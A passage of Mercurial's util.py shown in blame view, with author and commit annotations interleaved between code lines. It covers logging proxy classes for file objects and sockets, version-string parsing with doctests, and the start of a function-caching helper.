'truncate', *args, **kwargs
Augie Fackler
formatting: blacken the codebase...
r43346 )
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541
def writable(self, *args, **kwargs):
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 return object.__getattribute__(self, '_observedcall')(
'writable', *args, **kwargs
Augie Fackler
formatting: blacken the codebase...
r43346 )
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541
def writelines(self, *args, **kwargs):
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 return object.__getattribute__(self, '_observedcall')(
'writelines', *args, **kwargs
Augie Fackler
formatting: blacken the codebase...
r43346 )
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541
def read(self, *args, **kwargs):
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 return object.__getattribute__(self, '_observedcall')(
'read', *args, **kwargs
Augie Fackler
formatting: blacken the codebase...
r43346 )
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541
def readall(self, *args, **kwargs):
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 return object.__getattribute__(self, '_observedcall')(
'readall', *args, **kwargs
Augie Fackler
formatting: blacken the codebase...
r43346 )
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541
def readinto(self, *args, **kwargs):
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 return object.__getattribute__(self, '_observedcall')(
'readinto', *args, **kwargs
Augie Fackler
formatting: blacken the codebase...
r43346 )
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541
def write(self, *args, **kwargs):
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 return object.__getattribute__(self, '_observedcall')(
'write', *args, **kwargs
Augie Fackler
formatting: blacken the codebase...
r43346 )
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541
def detach(self, *args, **kwargs):
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 return object.__getattribute__(self, '_observedcall')(
'detach', *args, **kwargs
Augie Fackler
formatting: blacken the codebase...
r43346 )
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541
def read1(self, *args, **kwargs):
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 return object.__getattribute__(self, '_observedcall')(
'read1', *args, **kwargs
Augie Fackler
formatting: blacken the codebase...
r43346 )
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541
Gregory Szorc
util: enable observing of util.bufferedinputpipe...
r36542 class observedbufferedinputpipe(bufferedinputpipe):
"""A variation of bufferedinputpipe that is aware of fileobjectproxy.
``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
bypass ``fileobjectproxy``. Because of this, we need to make
``bufferedinputpipe`` aware of these operations.
This variation of ``bufferedinputpipe`` can notify observers about
``os.read()`` events. It also re-publishes other events, such as
``read()`` and ``readline()``.
"""
Augie Fackler
formatting: blacken the codebase...
r43346
Gregory Szorc
util: enable observing of util.bufferedinputpipe...
r36542 def _fillbuffer(self):
res = super(observedbufferedinputpipe, self)._fillbuffer()
Gregory Szorc
py3: stop normalizing 2nd argument of *attr() to unicode...
r43373 fn = getattr(self._input._observer, 'osread', None)
Gregory Szorc
util: enable observing of util.bufferedinputpipe...
r36542 if fn:
fn(res, _chunksize)
return res
# We use different observer methods because the operation isn't
# performed on the actual file object but on us.
def read(self, size):
res = super(observedbufferedinputpipe, self).read(size)
Gregory Szorc
py3: stop normalizing 2nd argument of *attr() to unicode...
r43373 fn = getattr(self._input._observer, 'bufferedread', None)
Gregory Szorc
util: enable observing of util.bufferedinputpipe...
r36542 if fn:
fn(res, size)
return res
def readline(self, *args, **kwargs):
res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
Gregory Szorc
py3: stop normalizing 2nd argument of *attr() to unicode...
r43373 fn = getattr(self._input._observer, 'bufferedreadline', None)
Gregory Szorc
util: enable observing of util.bufferedinputpipe...
r36542 if fn:
fn(res)
return res
Augie Fackler
formatting: blacken the codebase...
r43346
Gregory Szorc
util: observable proxy objects for sockets...
r37028 PROXIED_SOCKET_METHODS = {
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 'makefile',
'recv',
'recvfrom',
'recvfrom_into',
'recv_into',
'send',
'sendall',
'sendto',
'setblocking',
'settimeout',
'gettimeout',
'setsockopt',
Gregory Szorc
util: observable proxy objects for sockets...
r37028 }
Augie Fackler
formatting: blacken the codebase...
r43346
Gregory Szorc
util: observable proxy objects for sockets...
r37028 class socketproxy(object):
"""A proxy around a socket that tells a watcher when events occur.
This is like ``fileobjectproxy`` except for sockets.
This type is intended to only be used for testing purposes. Think hard
before using it in important code.
"""
Augie Fackler
formatting: blacken the codebase...
r43346
Gregory Szorc
util: observable proxy objects for sockets...
r37028 __slots__ = (
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 '_orig',
'_observer',
Gregory Szorc
util: observable proxy objects for sockets...
r37028 )
def __init__(self, sock, observer):
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 object.__setattr__(self, '_orig', sock)
object.__setattr__(self, '_observer', observer)
Gregory Szorc
util: observable proxy objects for sockets...
r37028
def __getattribute__(self, name):
if name in PROXIED_SOCKET_METHODS:
return object.__getattribute__(self, name)
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 return getattr(object.__getattribute__(self, '_orig'), name)
Gregory Szorc
util: observable proxy objects for sockets...
r37028
def __delattr__(self, name):
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 return delattr(object.__getattribute__(self, '_orig'), name)
Gregory Szorc
util: observable proxy objects for sockets...
r37028
def __setattr__(self, name, value):
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 return setattr(object.__getattribute__(self, '_orig'), name, value)
Gregory Szorc
util: observable proxy objects for sockets...
r37028
def __nonzero__(self):
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 return bool(object.__getattribute__(self, '_orig'))
Gregory Szorc
util: observable proxy objects for sockets...
r37028
__bool__ = __nonzero__
def _observedcall(self, name, *args, **kwargs):
# Call the original object.
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 orig = object.__getattribute__(self, '_orig')
Gregory Szorc
util: observable proxy objects for sockets...
r37028 res = getattr(orig, name)(*args, **kwargs)
# Call a method on the observer of the same name with arguments
# so it can react, log, etc.
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 observer = object.__getattribute__(self, '_observer')
Gregory Szorc
util: observable proxy objects for sockets...
r37028 fn = getattr(observer, name, None)
if fn:
fn(res, *args, **kwargs)
return res
def makefile(self, *args, **kwargs):
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 res = object.__getattribute__(self, '_observedcall')(
'makefile', *args, **kwargs
Augie Fackler
formatting: blacken the codebase...
r43346 )
Gregory Szorc
util: observable proxy objects for sockets...
r37028
# The file object may be used for I/O. So we turn it into a
# proxy using our observer.
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 observer = object.__getattribute__(self, '_observer')
Augie Fackler
formatting: blacken the codebase...
r43346 return makeloggingfileobject(
observer.fh,
res,
observer.name,
reads=observer.reads,
writes=observer.writes,
logdata=observer.logdata,
logdataapis=observer.logdataapis,
)
Gregory Szorc
util: observable proxy objects for sockets...
r37028
def recv(self, *args, **kwargs):
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 return object.__getattribute__(self, '_observedcall')(
'recv', *args, **kwargs
Augie Fackler
formatting: blacken the codebase...
r43346 )
Gregory Szorc
util: observable proxy objects for sockets...
r37028
def recvfrom(self, *args, **kwargs):
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 return object.__getattribute__(self, '_observedcall')(
'recvfrom', *args, **kwargs
Augie Fackler
formatting: blacken the codebase...
r43346 )
Gregory Szorc
util: observable proxy objects for sockets...
r37028
def recvfrom_into(self, *args, **kwargs):
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 return object.__getattribute__(self, '_observedcall')(
'recvfrom_into', *args, **kwargs
Augie Fackler
formatting: blacken the codebase...
r43346 )
Gregory Szorc
util: observable proxy objects for sockets...
r37028
def recv_into(self, *args, **kwargs):
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 return object.__getattribute__(self, '_observedcall')(
'recv_info', *args, **kwargs
Augie Fackler
formatting: blacken the codebase...
r43346 )
Gregory Szorc
util: observable proxy objects for sockets...
r37028
def send(self, *args, **kwargs):
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 return object.__getattribute__(self, '_observedcall')(
'send', *args, **kwargs
Augie Fackler
formatting: blacken the codebase...
r43346 )
Gregory Szorc
util: observable proxy objects for sockets...
r37028
def sendall(self, *args, **kwargs):
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 return object.__getattribute__(self, '_observedcall')(
'sendall', *args, **kwargs
Augie Fackler
formatting: blacken the codebase...
r43346 )
Gregory Szorc
util: observable proxy objects for sockets...
r37028
def sendto(self, *args, **kwargs):
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 return object.__getattribute__(self, '_observedcall')(
'sendto', *args, **kwargs
Augie Fackler
formatting: blacken the codebase...
r43346 )
Gregory Szorc
util: observable proxy objects for sockets...
r37028
def setblocking(self, *args, **kwargs):
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 return object.__getattribute__(self, '_observedcall')(
'setblocking', *args, **kwargs
Augie Fackler
formatting: blacken the codebase...
r43346 )
Gregory Szorc
util: observable proxy objects for sockets...
r37028
def settimeout(self, *args, **kwargs):
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 return object.__getattribute__(self, '_observedcall')(
'settimeout', *args, **kwargs
Augie Fackler
formatting: blacken the codebase...
r43346 )
Gregory Szorc
util: observable proxy objects for sockets...
r37028
def gettimeout(self, *args, **kwargs):
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 return object.__getattribute__(self, '_observedcall')(
'gettimeout', *args, **kwargs
Augie Fackler
formatting: blacken the codebase...
r43346 )
Gregory Szorc
util: observable proxy objects for sockets...
r37028
def setsockopt(self, *args, **kwargs):
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 return object.__getattribute__(self, '_observedcall')(
'setsockopt', *args, **kwargs
Augie Fackler
formatting: blacken the codebase...
r43346 )
Gregory Szorc
util: observable proxy objects for sockets...
r37028
class baseproxyobserver(object):
Matt Harbison
util: move common proxyobserver attributes to the base class...
r44372 def __init__(self, fh, name, logdata, logdataapis):
self.fh = fh
self.name = name
self.logdata = logdata
self.logdataapis = logdataapis
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541 def _writedata(self, data):
if not self.logdata:
Gregory Szorc
util: don't log low-level I/O calls for HTTP peer...
r37062 if self.logdataapis:
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 self.fh.write(b'\n')
Gregory Szorc
util: don't log low-level I/O calls for HTTP peer...
r37062 self.fh.flush()
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541 return
# Simple case writes all data on a single line.
if b'\n' not in data:
Gregory Szorc
util: don't log low-level I/O calls for HTTP peer...
r37062 if self.logdataapis:
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 self.fh.write(b': %s\n' % stringutil.escapestr(data))
Gregory Szorc
util: don't log low-level I/O calls for HTTP peer...
r37062 else:
Augie Fackler
formatting: blacken the codebase...
r43346 self.fh.write(
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 b'%s> %s\n' % (self.name, stringutil.escapestr(data))
Augie Fackler
formatting: blacken the codebase...
r43346 )
Matt Harbison
wireproto: explicitly flush stdio to prevent stalls on Windows...
r37006 self.fh.flush()
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541 return
# Data with newlines is written to multiple lines.
Gregory Szorc
util: don't log low-level I/O calls for HTTP peer...
r37062 if self.logdataapis:
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 self.fh.write(b':\n')
Gregory Szorc
util: don't log low-level I/O calls for HTTP peer...
r37062
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541 lines = data.splitlines(True)
for line in lines:
Augie Fackler
formatting: blacken the codebase...
r43346 self.fh.write(
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 b'%s> %s\n' % (self.name, stringutil.escapestr(line))
Augie Fackler
formatting: blacken the codebase...
r43346 )
Matt Harbison
wireproto: explicitly flush stdio to prevent stalls on Windows...
r37006 self.fh.flush()
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541
Augie Fackler
formatting: blacken the codebase...
r43346
Gregory Szorc
util: observable proxy objects for sockets...
r37028 class fileobjectobserver(baseproxyobserver):
"""Logs file object activity."""
Augie Fackler
formatting: blacken the codebase...
r43346
def __init__(
self, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
):
Matt Harbison
util: move common proxyobserver attributes to the base class...
r44372 super(fileobjectobserver, self).__init__(fh, name, logdata, logdataapis)
Gregory Szorc
util: observable proxy objects for sockets...
r37028 self.reads = reads
self.writes = writes
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541 def read(self, res, size=-1):
if not self.reads:
return
Augie Fackler
util: work around Python 3 returning None at EOF instead of ''...
r36603 # Python 3 can return None from reads at EOF instead of empty strings.
if res is None:
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 res = b''
if size == -1 and res == b'':
Augie Fackler
tests: suppress read(-1) -> '' calls in fileobjectobserver...
r38334 # Suppress pointless read(-1) calls that return
# nothing. These happen _a lot_ on Python 3, and there
# doesn't seem to be a better workaround to have matching
# Python 2 and 3 behavior. :(
return
Gregory Szorc
util: don't log low-level I/O calls for HTTP peer...
r37062 if self.logdataapis:
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 self.fh.write(b'%s> read(%d) -> %d' % (self.name, size, len(res)))
Gregory Szorc
util: don't log low-level I/O calls for HTTP peer...
r37062
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541 self._writedata(res)
def readline(self, res, limit=-1):
if not self.reads:
return
Gregory Szorc
util: don't log low-level I/O calls for HTTP peer...
r37062 if self.logdataapis:
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 self.fh.write(b'%s> readline() -> %d' % (self.name, len(res)))
Gregory Szorc
util: don't log low-level I/O calls for HTTP peer...
r37062
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541 self._writedata(res)
Gregory Szorc
util: log readinto() I/O...
r36648 def readinto(self, res, dest):
if not self.reads:
return
Gregory Szorc
util: don't log low-level I/O calls for HTTP peer...
r37062 if self.logdataapis:
Augie Fackler
formatting: blacken the codebase...
r43346 self.fh.write(
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 b'%s> readinto(%d) -> %r' % (self.name, len(dest), res)
Augie Fackler
formatting: blacken the codebase...
r43346 )
Gregory Szorc
util: don't log low-level I/O calls for HTTP peer...
r37062
Gregory Szorc
util: log readinto() I/O...
r36648 data = dest[0:res] if res is not None else b''
Gregory Szorc
util: cast memoryview to bytes...
r41429
# _writedata() uses "in" operator and is confused by memoryview because
# characters are ints on Python 3.
if isinstance(data, memoryview):
data = data.tobytes()
Gregory Szorc
util: log readinto() I/O...
r36648 self._writedata(data)
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541 def write(self, res, data):
if not self.writes:
return
Gregory Szorc
util: report integer result from write()...
r36649 # Python 2 returns None from some write() calls. Python 3 (reasonably)
# returns the integer bytes written.
if res is None and data:
res = len(data)
Gregory Szorc
util: don't log low-level I/O calls for HTTP peer...
r37062 if self.logdataapis:
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 self.fh.write(b'%s> write(%d) -> %r' % (self.name, len(data), res))
Gregory Szorc
util: don't log low-level I/O calls for HTTP peer...
r37062
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541 self._writedata(data)
def flush(self, res):
if not self.writes:
return
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 self.fh.write(b'%s> flush() -> %r\n' % (self.name, res))
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541
Gregory Szorc
util: enable observing of util.bufferedinputpipe...
r36542 # For observedbufferedinputpipe.
def bufferedread(self, res, size):
Gregory Szorc
util: don't log low-level I/O calls for HTTP peer...
r37062 if not self.reads:
return
if self.logdataapis:
Augie Fackler
formatting: blacken the codebase...
r43346 self.fh.write(
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 b'%s> bufferedread(%d) -> %d' % (self.name, size, len(res))
Augie Fackler
formatting: blacken the codebase...
r43346 )
Gregory Szorc
util: don't log low-level I/O calls for HTTP peer...
r37062
Gregory Szorc
util: enable observing of util.bufferedinputpipe...
r36542 self._writedata(res)
def bufferedreadline(self, res):
Gregory Szorc
util: don't log low-level I/O calls for HTTP peer...
r37062 if not self.reads:
return
if self.logdataapis:
Augie Fackler
formatting: blacken the codebase...
r43346 self.fh.write(
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 b'%s> bufferedreadline() -> %d' % (self.name, len(res))
Augie Fackler
formatting: blacken the codebase...
r43346 )
Gregory Szorc
util: don't log low-level I/O calls for HTTP peer...
r37062
Gregory Szorc
util: enable observing of util.bufferedinputpipe...
r36542 self._writedata(res)
Augie Fackler
formatting: blacken the codebase...
r43346
def makeloggingfileobject(
logh, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
):
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541 """Turn a file object into a logging file object."""
Augie Fackler
formatting: blacken the codebase...
r43346 observer = fileobjectobserver(
logh,
name,
reads=reads,
writes=writes,
logdata=logdata,
logdataapis=logdataapis,
)
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541 return fileobjectproxy(fh, observer)
Augie Fackler
formatting: blacken the codebase...
r43346
Gregory Szorc
util: observable proxy objects for sockets...
r37028 class socketobserver(baseproxyobserver):
"""Logs socket activity."""
Augie Fackler
formatting: blacken the codebase...
r43346
def __init__(
self,
fh,
name,
reads=True,
writes=True,
states=True,
logdata=False,
logdataapis=True,
):
Matt Harbison
util: move common proxyobserver attributes to the base class...
r44372 super(socketobserver, self).__init__(fh, name, logdata, logdataapis)
Gregory Szorc
util: observable proxy objects for sockets...
r37028 self.reads = reads
self.writes = writes
self.states = states
def makefile(self, res, mode=None, bufsize=None):
if not self.states:
return
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 self.fh.write(b'%s> makefile(%r, %r)\n' % (self.name, mode, bufsize))
Gregory Szorc
util: observable proxy objects for sockets...
r37028
def recv(self, res, size, flags=0):
if not self.reads:
return
Gregory Szorc
util: don't log low-level I/O calls for HTTP peer...
r37062 if self.logdataapis:
Augie Fackler
formatting: blacken the codebase...
r43346 self.fh.write(
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 b'%s> recv(%d, %d) -> %d' % (self.name, size, flags, len(res))
Augie Fackler
formatting: blacken the codebase...
r43346 )
Gregory Szorc
util: observable proxy objects for sockets...
r37028 self._writedata(res)
def recvfrom(self, res, size, flags=0):
if not self.reads:
return
Gregory Szorc
util: don't log low-level I/O calls for HTTP peer...
r37062 if self.logdataapis:
Augie Fackler
formatting: blacken the codebase...
r43346 self.fh.write(
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 b'%s> recvfrom(%d, %d) -> %d'
Augie Fackler
formatting: blacken the codebase...
r43346 % (self.name, size, flags, len(res[0]))
)
Gregory Szorc
util: don't log low-level I/O calls for HTTP peer...
r37062
Gregory Szorc
util: observable proxy objects for sockets...
r37028 self._writedata(res[0])
def recvfrom_into(self, res, buf, size, flags=0):
if not self.reads:
return
Gregory Szorc
util: don't log low-level I/O calls for HTTP peer...
r37062 if self.logdataapis:
Augie Fackler
formatting: blacken the codebase...
r43346 self.fh.write(
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 b'%s> recvfrom_into(%d, %d) -> %d'
Augie Fackler
formatting: blacken the codebase...
r43346 % (self.name, size, flags, res[0])
)
self._writedata(buf[0 : res[0]])
Gregory Szorc
util: observable proxy objects for sockets...
r37028
def recv_into(self, res, buf, size=0, flags=0):
if not self.reads:
return
Gregory Szorc
util: don't log low-level I/O calls for HTTP peer...
r37062 if self.logdataapis:
Augie Fackler
formatting: blacken the codebase...
r43346 self.fh.write(
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 b'%s> recv_into(%d, %d) -> %d' % (self.name, size, flags, res)
Augie Fackler
formatting: blacken the codebase...
r43346 )
Gregory Szorc
util: don't log low-level I/O calls for HTTP peer...
r37062
Gregory Szorc
util: observable proxy objects for sockets...
r37028 self._writedata(buf[0:res])
def send(self, res, data, flags=0):
if not self.writes:
return
Augie Fackler
formatting: blacken the codebase...
r43346 self.fh.write(
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 b'%s> send(%d, %d) -> %d' % (self.name, len(data), flags, len(res))
Augie Fackler
formatting: blacken the codebase...
r43346 )
Gregory Szorc
util: observable proxy objects for sockets...
r37028 self._writedata(data)
def sendall(self, res, data, flags=0):
if not self.writes:
return
Gregory Szorc
util: don't log low-level I/O calls for HTTP peer...
r37062 if self.logdataapis:
# Returns None on success. So don't bother reporting return value.
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 self.fh.write(
b'%s> sendall(%d, %d)' % (self.name, len(data), flags)
)
Gregory Szorc
util: don't log low-level I/O calls for HTTP peer...
r37062
Gregory Szorc
util: observable proxy objects for sockets...
r37028 self._writedata(data)
def sendto(self, res, data, flagsoraddress, address=None):
if not self.writes:
return
if address:
flags = flagsoraddress
else:
flags = 0
Gregory Szorc
util: don't log low-level I/O calls for HTTP peer...
r37062 if self.logdataapis:
Augie Fackler
formatting: blacken the codebase...
r43346 self.fh.write(
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 b'%s> sendto(%d, %d, %r) -> %d'
Augie Fackler
formatting: blacken the codebase...
r43346 % (self.name, len(data), flags, address, res)
)
Gregory Szorc
util: don't log low-level I/O calls for HTTP peer...
r37062
Gregory Szorc
util: observable proxy objects for sockets...
r37028 self._writedata(data)
def setblocking(self, res, flag):
if not self.states:
return
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 self.fh.write(b'%s> setblocking(%r)\n' % (self.name, flag))
Gregory Szorc
util: observable proxy objects for sockets...
r37028
def settimeout(self, res, value):
if not self.states:
return
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 self.fh.write(b'%s> settimeout(%r)\n' % (self.name, value))
Gregory Szorc
util: observable proxy objects for sockets...
r37028
def gettimeout(self, res):
if not self.states:
return
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 self.fh.write(b'%s> gettimeout() -> %f\n' % (self.name, res))
Gregory Szorc
util: observable proxy objects for sockets...
r37028
Augie Fackler
util: fix signature of setsockopt in socket observer...
r39095 def setsockopt(self, res, level, optname, value):
Gregory Szorc
util: observable proxy objects for sockets...
r37028 if not self.states:
return
Augie Fackler
formatting: blacken the codebase...
r43346 self.fh.write(
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 b'%s> setsockopt(%r, %r, %r) -> %r\n'
Augie Fackler
formatting: blacken the codebase...
r43346 % (self.name, level, optname, value, res)
)
def makeloggingsocket(
logh,
fh,
name,
reads=True,
writes=True,
states=True,
logdata=False,
logdataapis=True,
):
Gregory Szorc
util: observable proxy objects for sockets...
r37028 """Turn a socket into a logging socket."""
Augie Fackler
formatting: blacken the codebase...
r43346 observer = socketobserver(
logh,
name,
reads=reads,
writes=writes,
states=states,
logdata=logdata,
logdataapis=logdataapis,
)
Gregory Szorc
util: observable proxy objects for sockets...
r37028 return socketproxy(fh, observer)
Augie Fackler
formatting: blacken the codebase...
r43346
Matt Mackall
refactor version code...
r7632 def version():
"""Return version information if available."""
try:
Gregory Szorc
util: use absolute_import
r27358 from . import __version__
Augie Fackler
formatting: blacken the codebase...
r43346
Matt Mackall
refactor version code...
r7632 return __version__.version
except ImportError:
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 return b'unknown'
Matt Mackall
refactor version code...
r7632
Augie Fackler
formatting: blacken the codebase...
r43346
Gregory Szorc
util: add versiontuple() for returning parsed version information...
r27112 def versiontuple(v=None, n=4):
"""Parses a Mercurial version string into an N-tuple.
The version string to be parsed is specified with the ``v`` argument.
If it isn't defined, the current Mercurial version string will be parsed.
``n`` can be 2, 3, or 4. Here is how some version strings map to
returned values:
Yuya Nishihara
doctest: bulk-replace string literals with b'' for Python 3...
r34133 >>> v = b'3.6.1+190-df9b73d2d444'
Gregory Szorc
util: add versiontuple() for returning parsed version information...
r27112 >>> versiontuple(v, 2)
(3, 6)
>>> versiontuple(v, 3)
(3, 6, 1)
>>> versiontuple(v, 4)
(3, 6, 1, '190-df9b73d2d444')
Yuya Nishihara
doctest: bulk-replace string literals with b'' for Python 3...
r34133 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
Gregory Szorc
util: add versiontuple() for returning parsed version information...
r27112 (3, 6, 1, '190-df9b73d2d444+20151118')
Yuya Nishihara
doctest: bulk-replace string literals with b'' for Python 3...
r34133 >>> v = b'3.6'
Gregory Szorc
util: add versiontuple() for returning parsed version information...
r27112 >>> versiontuple(v, 2)
(3, 6)
>>> versiontuple(v, 3)
(3, 6, None)
>>> versiontuple(v, 4)
(3, 6, None, None)
Gregory Szorc
util: better handle '-' in version string (issue5302)...
r29613
Yuya Nishihara
doctest: bulk-replace string literals with b'' for Python 3...
r34133 >>> v = b'3.9-rc'
Gregory Szorc
util: better handle '-' in version string (issue5302)...
r29613 >>> versiontuple(v, 2)
(3, 9)
>>> versiontuple(v, 3)
(3, 9, None)
>>> versiontuple(v, 4)
(3, 9, None, 'rc')
Yuya Nishihara
doctest: bulk-replace string literals with b'' for Python 3...
r34133 >>> v = b'3.9-rc+2-02a8fea4289b'
Gregory Szorc
util: better handle '-' in version string (issue5302)...
r29613 >>> versiontuple(v, 2)
(3, 9)
>>> versiontuple(v, 3)
(3, 9, None)
>>> versiontuple(v, 4)
(3, 9, None, 'rc+2-02a8fea4289b')
Yuya Nishihara
version: make parser more robust for rc variants and ill-formed strings
r37819
>>> versiontuple(b'4.6rc0')
(4, 6, None, 'rc0')
>>> versiontuple(b'4.6rc0+12-425d55e54f98')
(4, 6, None, 'rc0+12-425d55e54f98')
>>> versiontuple(b'.1.2.3')
(None, None, None, '.1.2.3')
>>> versiontuple(b'12.34..5')
(12, 34, None, '..5')
>>> versiontuple(b'1.2.3.4.5.6')
(1, 2, 3, '.4.5.6')
Gregory Szorc
util: add versiontuple() for returning parsed version information...
r27112 """
if not v:
v = version()
Matt Harbison
cleanup: drop redundant character escapes from `[]` character sets...
r44473 m = remod.match(br'(\d+(?:\.\d+){,2})[+-]?(.*)', v)
Yuya Nishihara
version: make parser more robust for rc variants and ill-formed strings
r37819 if not m:
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 vparts, extra = b'', v
Yuya Nishihara
version: make parser more robust for rc variants and ill-formed strings
r37819 elif m.group(2):
vparts, extra = m.groups()
Gregory Szorc
util: add versiontuple() for returning parsed version information...
r27112 else:
Yuya Nishihara
version: make parser more robust for rc variants and ill-formed strings
r37819 vparts, extra = m.group(1), None
Gregory Szorc
util: add versiontuple() for returning parsed version information...
r27112
Matt Harbison
typing: add an assertion to util.versiontuple...
r44334 assert vparts is not None # help pytype
Gregory Szorc
util: add versiontuple() for returning parsed version information...
r27112 vints = []
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 for i in vparts.split(b'.'):
Gregory Szorc
util: add versiontuple() for returning parsed version information...
r27112 try:
vints.append(int(i))
except ValueError:
break
# (3, 6) -> (3, 6, None)
while len(vints) < 3:
vints.append(None)
if n == 2:
return (vints[0], vints[1])
if n == 3:
return (vints[0], vints[1], vints[2])
if n == 4:
return (vints[0], vints[1], vints[2], extra)
Augie Fackler
formatting: blacken the codebase...
r43346
Brendan Cully
Add cachefunc to abstract function call cache
r3145 def cachefunc(func):
'''cache the result of function calls'''
Benoit Boissinot
add comments in cachefunc
r3147 # XXX doesn't handle keywords args
timeless
util: use __code__ (available since py2.6)
r28832 if func.__code__.co_argcount == 0:
Matt Harbison
util: rename a variable to avoid confusing pytype...
r44332 listcache = []
Augie Fackler
formatting: blacken the codebase...
r43346
FUJIWARA Katsunori
util: add the code path to "cachefunc()" for the function taking no arguments...
r20835 def f():
Matt Harbison
util: rename a variable to avoid confusing pytype...
r44332 if len(listcache) == 0:
listcache.append(func())
return listcache[0]
Augie Fackler
formatting: blacken the codebase...
r43346
FUJIWARA Katsunori
util: add the code path to "cachefunc()" for the function taking no arguments...
r20835 return f
Brendan Cully
Add cachefunc to abstract function call cache
r3145 cache = {}
timeless
util: use __code__ (available since py2.6)
r28832 if func.__code__.co_argcount == 1:
Benoit Boissinot
add comments in cachefunc
r3147 # we gain a small amount of time because
# we don't need to pack/unpack the list
Brendan Cully
Add cachefunc to abstract function call cache
r3145 def f(arg):
if arg not in cache:
cache[arg] = func(arg)
return cache[arg]
Augie Fackler
formatting: blacken the codebase...
r43346
Brendan Cully
Add cachefunc to abstract function call cache
r3145 else:
Augie Fackler
formatting: blacken the codebase...
r43346
Brendan Cully
Add cachefunc to abstract function call cache
